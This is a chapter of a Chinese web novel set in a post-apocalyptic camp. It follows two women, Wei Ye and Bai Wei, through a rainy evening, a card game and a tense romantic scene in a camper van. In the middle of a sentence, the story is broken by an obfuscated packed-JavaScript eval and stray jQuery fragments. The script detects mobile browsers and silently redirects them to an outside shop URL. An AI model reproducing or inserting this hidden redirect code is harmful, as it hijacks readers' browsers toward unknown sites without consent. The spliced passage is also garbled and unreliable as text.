车进营地的时候,雨刚歇了一阵。
木门后头守门的老陈披着块塑料布,见车灯扫过来,忙不迭去拽门栓,裤腿卷到膝盖,一脚泥水踩得吧唧响。
魏也先下了车,甩上车门往房车走。
小陈熄了火跳下来,先去掀后车厢的油布。铁柱从车斗翻下来,裤腿湿到膝盖,嘴里骂着“这破天”。胡三岭按了两下喇叭,木头门又推开些,几个男人跑出来接东西。
老万从人群里挤出来,拎着药箱,蹲在箱子边上翻,翻出一盒阿莫西林,又翻出一瓶碘伏,抬头看白薇,嘴巴笑得咧到耳朵根:“这趟肥。”
白薇“嗯”了一声,去了白危那里。
魏也透过房车窗帘缝望见白薇站在黑色房车外头,半侧着身,手插在工装裤兜里,裤脚全是泥。白危坐在折叠椅上,脚边黄狗趴着,烟夹在指间,火星子红一下灭一下。白薇说话,白危听,听到一半往地上弹了弹烟灰,朝魏也这边扫了一眼,目光沉沉的,又收回去。
车里头闷。
魏也拉上帘子,褪了鞋,又脱下湿衣服,丢进塑料盆,光着走到洗手间门口,拧开水阀。热水哗地冲下来,蒸汽腾起来,镜子蒙上一层白雾。她站在水柱底下,手撑住墙,水流从后颈浇下去,顺着肩胛、腰窝、大腿一路往下淌。
脸上发热,头皮发麻。她仰起脸,让水打在锁骨上,头发往后撸,露出光洁的额头。水里混着她身上带回来的泥腥味,冲了半天才冲干净。她挤了白薇的沐浴露,海盐味,泡沫在手心堆起来,抹过胸口、胳膊、小腿。掌心滑过左臂,疤看不见了,只剩一小片新生的皮肤,比别处薄,透出淡粉色。
她停下来,指腹按了按,皮肉软韧,有弹性。
外头有人走路,脚步乱糟糟的,有男人喊:“雨又来了,东西都收进去!”
魏也关水,拿毛巾擦身。出洗手间,在衣柜下头翻出干净衣服,往身上套,拿吹风筒吹了两下头发,热风把前额头发吹得乱翘,她嫌烦,索性拨到耳后。又咬着灰色发圈,两手把头发拢到后脑,随便扎了个低马尾。
外头真下起雨了,不大,细得像雾,密密麻麻。魏也掀开房车窗帘一角,看见白薇从白危车那头走过来,步子不紧不慢,马丁靴踩着水。
白薇走到车门外,拉门进来,带着一身潮气。
四目一对,白薇先开口:“洗了?”
“嗯。”魏也赤脚站在过道上,身上是她翻出来的深灰长袖T恤,下摆盖到胯,光着腿。脚踝细白,趾甲泛着淡青。她往后退一步给白薇让路,背靠上沙发,手指勾着裤腰,还没系紧。
白薇弯腰解鞋带,靴子脱下来,在门口磕了磕,脱了袜子,光脚踩进来,径直走到衣柜前,拿了干净衣服和毛巾,往洗手间去。
经过魏也时,白薇说:“我洗个澡。”
魏也点了下头。
白薇进洗手间,门没关紧,留了道缝。
魏也坐到沙发上,两腿盘起来,胳膊支在膝盖上,眼睛盯着洗手间门。磨砂玻璃上影影绰绰,白薇脱了衣服,低头试水温,弯腰时腰线收进去,臀围丰盈,两条腿一前一后站着,光从里头打出来,整个人像一张被水汽洇开的画。
魏也移开目光,看车窗外。
雨把营地洗得很静。饭棚那边支着几张折叠桌,两个穿蓝黑工作服的女人在搬碗。几个男人蹲在棚边,一人夹根烟,半天才抽一口。再过去,油桶堆后头,有人用木板搭了张牌桌,四个男的围坐着,胳膊肘撑在膝上,头碰头。一个瘦高个站起来,嗓门挺大:“黑桃Q,要不要?”另一个红脸膛的骂了句,牌往桌上一拍。
白薇洗完出来,头发包着毛巾,身上穿件白色短袖,下头一条灰色棉短裤,脚趾光着,踩在浅棕色的地板上留了几个湿脚印。她走到冰箱前,弯腰取水,拧开瓶盖喝了两口,看魏也一眼:“下去玩会儿?”
魏也问:“你看我光着腿。”
白薇说:“你又不是没穿过短裤。”
魏也笑了一声,站起来,衣柜里翻出一条黑色中裤套上,裤腿到小腿肚。两人出了房车。外头细雨如丝,风一吹,魏也后颈起了疙瘩。白薇走在前头,两人穿过湿漉漉的空场,往饭棚走。路上有人打招呼,白薇“嗯”一声,魏也谁也没看。
饭棚里摆了三张折叠桌,每张都坐满了人。靠里那张在打牌,人声最重,烟也浓。王标坐庄,光膀子,后脖颈上一块黑布,腰里别着半包烟。铁柱坐他对面,正摸牌,见白薇进来,手里牌往下一扣,招呼:“薇姐,来两把?”
白薇摇摇头,在靠外的长条凳上坐下。魏也坐她旁边,手搁在桌上。桌上铺着张破塑料布,边角卷起来,有一处被烟头烫出个洞。一个穿花布裙的女人端了两杯水过来,放在白薇面前,又给魏也面前放一杯。魏也看了眼女人,三十多岁,皮肤黄,眼睛细长,嘴角有条淡疤。
女人转身去给另一桌上饭。
棚子外雨声淅沥,棚里人声杂乱。
那桌打牌的又起了一盘。一个干瘦男人输急了眼,烟屁股咬得稀烂,又去摸上衣口袋。王标赢钱,笑得牙花子全露出来,拿牌敲着桌沿:“给烟给烟,别他妈赖。”干瘦男人掏了半天,掏出半包烟,拍在桌角:“先欠半包。”
王标不干,两个人你一句我一句,声音压过了雨。
魏也看得无聊,手肘碰了碰白薇:“你会打牌吗?”
白薇说:“会一点。”
魏也问:“什么打法。”
白薇说:“红十,德州,都行。”
魏也挑了下眉,转回头,看铁柱摸牌。铁柱脸黑,握牌的手指又粗又短,指甲缝里黑泥嵌着。他打得用力,每出一张都把牌往桌上掼,掼得塑料布一颤。魏也看了一会儿,发现这人牌风莽,输多赢少,偏还每次加注,嘴里骂个没完。
又过了会儿,雨下大了些,棚檐上成串往下掉,风一吹,水丝飘进棚子。几桌的人陆续围过来看打牌,有人端碗,有人叉腰,靠里的桌子围了半圈。魏也闻到人身上的汗味、烟味,还有雨后的泥气。她往后靠了靠,肩膀挨着白薇。白薇目光也停在牌桌上,但魏也感觉她有些心不在焉,一只手搭在桌沿,手指慢慢转着水杯。
“魏也。”白薇低声说。
“嗯。”
“我哥想让你去东边岗哨守两晚。”
魏也偏过头,看白薇,“为什么?”
“老周废了,东边缺人。你能打,他放心。”
魏也胳膊抱在胸前,背往后一靠,下巴微抬。
她心想,白危到底还是把她当牲口使,先让办事,再往边上放。守夜辛苦,夜里风大,露重,蚊子成群。可她没有不应的道理。这营地人人有活,她住白薇的,吃白薇的,前头进城也办了事,要再挑三拣四,更招人恨。
“行啊。守夜就守夜。你让我去,我就去。”
白薇嘴唇动了动,像要说什么,又只“嗯”了一声,放下杯子。
棚外雨声细密,牌桌上又吵起来,铁柱一把牌摔在桌上,骂了句极难听的。
白薇皱了皱眉,起身说:“我回去了。”
魏也跟白薇回了房车。两人一前一后上车,雨把头发都打湿了一层。白薇抽掉毛巾,拿吹风筒吹头发。魏也靠在小沙发上,手指抠着沙发布,抠了一会儿,起身去给白薇倒了杯水,放在床头柜上。
白薇关掉吹风筒,看她一眼,说:“你今天怎么这么乖。”
魏也笑:“疼你。”
白薇“啧”了一声,仰面躺下来,头发披散在枕上,湿着几缕。
房车外头雨下得绵密起来。窗玻璃蒙上水雾,外面的灯光渗进来,晕成几个模糊的黄团团。车里只开了一盏床头小灯,暖光从白薇耳后打过来,她半边脸浸在光里,半边脸陷在暗处,轮廓像用笔勾过的,深一道浅一道。
魏也坐在小沙发上,两肘搭着膝盖。
她看着白薇。
白薇也看她,指尖慢悠悠勾住一绺半干的头发,绕着,放开,又绕着。
眼神不一样了。懒散没了,眼尾微微抬起来,带着钩子似的。她的眼珠颜色浅,在这种光线下透出琥珀样的茶色,虹膜外头一圈颜色深些,眼尾平滑往上走一点,不笑也像在笑,笑里全是打量,打量里又混着点别的什么。
魏也喉头动了一下。
她从来知道白薇长得好,好到扎眼,好到她在仓库第一次见着就挪不动脚。可那会儿白薇冷,冷得身上像裹了层霜,美是美,远。现在白薇躺在她面前不到两米的地方,头发散在浅灰色枕套上,棕色大波浪铺开,又亮又软,几缕湿发贴在颊边、颈侧,半张脸衬得冷白。白色短袖宽松,圆领往一边斜,露出大半个肩头,锁骨横着,皮肤绷得紧,被灯照出柔和的光。两条腿从灰色棉短裤下头伸出来,又长又直,脚背很白,脚趾轻轻勾着,往前伸,脚尖朝她这个方向。
魏也觉得嗓子发干。她端起杯子喝了一口,水是温的,喉咙滑下去,没起半点作用。
“白薇。”
“你……你用这种眼神看我什么意思。”
白薇动了一下,侧过身,手肘撑在枕头上,掌心托着脸。这姿势让她腰线塌下去,胯骨顶出来,一条腿贴着另一条,交叠处陷出阴影。她就这么看魏也,眼尾斜斜飞起,含着钩子,嘴角慢慢往上走,声音又软又媚,尾音拖得长:“你过来。”
魏也坐在那,没动。她不知道过去之后事情会往哪儿走。她脑子里已经有些乱,乱得跟外头被风吹散的雨一样。白薇从没这样跟她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17875020|212366||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
说过话。白薇跟别人说话,清楚、干脆、冷。现在这三个字,黏黏糊糊的,跟这雨一样,潮得人心慌。
“你听见没有。”白薇又说,指尖在床单上划了两下,眼睛一眨不眨地看魏也,眼波在昏黄光线下漾开,像茶里滴了蜜。
魏也慢慢站起来。
朝床走去。走到床尾,停住。
白薇的目光顺着她的脸滑下去,滑过她喉咙,滑过她深灰色T恤下头挺直的肩,又回到她脸上。
“坐下。”
魏也坐下了。床垫软,她坐下去,白薇的腿离她不过几寸远。
白薇往上移了移身子,半靠在床头,一条腿屈起来,脚踩在床单上,另一条腿伸着,脚尖轻轻往前探,碰了碰魏也的膝盖,顺着膝盖慢慢往上,滑过她大腿前侧,到小腹时停下来,脚掌贴着她的下腹,脚趾微微蜷起来,勾住衣料。
魏也的呼吸全乱了。
她伸手抓住白薇的脚踝,手指扣上去,没使多大劲,可脚踝太细,细得她掌心一合就全包住了。脚踝处的皮肤滑,温热,跟脚背的凉搅在一起,像握着块半热半冷的玉。
白薇挑了挑眉,另一条屈着的腿也伸过来,脚趾擦过魏也的手腕,顺着她的前臂往上走,走到她肘弯,又退回去,若有若无地磨着。
“……你想干嘛。”魏也问。
白薇轻笑了一下,往回抽了抽腿。魏也没松,她便不抽了,就着这个姿势,上身慢慢倾过来,脸离魏也近了些。
“你猜。”白薇说。
魏也的脑子“嗡”了一声。她平时嘴皮子溜,混不吝的话张口就来,可此刻张了张嘴,一个字都挤不出。她觉得自己像被按进了温水里,浑身使不上劲,心跳还是慢,可这一次,慢得让人发空,每一下都在胸腔里荡开回音。
她抓着白薇脚踝的手在抖。
心跳从原先的慢变成了乱,一下轻一下重,撞得胸口发慌。她喜欢白薇,嘴上天天说,真枪真刀地摆在眼前,倒像被人抽了骨头,不知道先碰哪儿,也不知道该看哪儿。
“我……我没试过。”
白薇歪了歪头,眼神更软了几分,像水,漫过来,把人往更深处拖,“没试过什么?”
“没谈过。”魏也声音发紧,太阳穴一跳一跳的,脸涨得厉害,颧骨一直红到耳根,连脖颈都透出粉色。她从来不知道自己会脸红,只觉得整张脸烧得慌,“我这种人……没谁看得上。我也没想过跟谁。可你……你不能这样。”
“你明明知道我喜欢你。”
她越说越急,语句颠三倒四,声音比平时高了些,又因为紧张断断续续,“你……你什么意思?看我笑话?我承认我,我……我就是没碰过女人,没碰过谁,可你也不能……”她说不下去了,胸口起伏得厉害,鼻腔里又热又涨,一股液体毫无征兆地涌出来,热乎乎的,顺着人中往下淌。
她抬手一摸,满手红。
血滴滴答答落在床单上,洇开一朵一朵暗红的花。
魏也愣住,眼睛瞪大,仰起头想止血,血却顺着指缝往手腕上流,灰色T恤前襟也染出几道红痕。她狼狈极了,手脚都不知道往哪儿放,想站又站不起来,只能仰着脸,喉咙里发出一声似骂似叹的气音。
白薇一下坐起来,床头柜上扯了几张纸巾,另一手按住魏也的后颈,把她的头往前压了压:“低头,别仰着,你是真什么都不懂。”她的声音又变回来了,带着点急,又带着点无可奈何的笑。她一手扶着魏也的额头,一手拿纸巾替她擦鼻血,一下一下,擦到最后,她捧起魏也的脸,逼她看着自己。
魏也的眼睛湿着,分不清是鼻子酸出来的还是别的,鼻尖上沾着点血,脸颊红透了,头发被刚才一折腾散下来几绺,贴在额角。她看着白薇,眼神里全是恼和羞,还有藏不住的委屈。
白薇用纸巾仔细擦着她鼻子下头最后一点血,低声说:“傻不傻。”
魏也喉咙哽着:“你玩我。”
白薇摇头,嘴角翘了一点:“我试我自己。”
魏也怔住,眼睛里的水光晃了晃。
“我看看,我到底是不是只对男的……”白薇说,指腹摩挲魏也的唇,声音低下去,“现在知道了。”
魏也的脑子转不过来,只呆呆看着她。
窗外雨声大了,房车轻微晃了一下,床头小灯跟着摇了摇,光在两张脸上来回走。
白薇捧着魏也的脸,越凑越近,近到两人的呼吸搅在一起。她的鼻尖快要碰上魏也的鼻尖,嘴唇在很近的地方停住。没有真碰上去,就停在那儿,温热的气息一下一下拂在魏也唇上。
“魏也。”白薇叫她。
“你以后就是我的人了。”
魏也半张着嘴,鼻血好像又要往下流。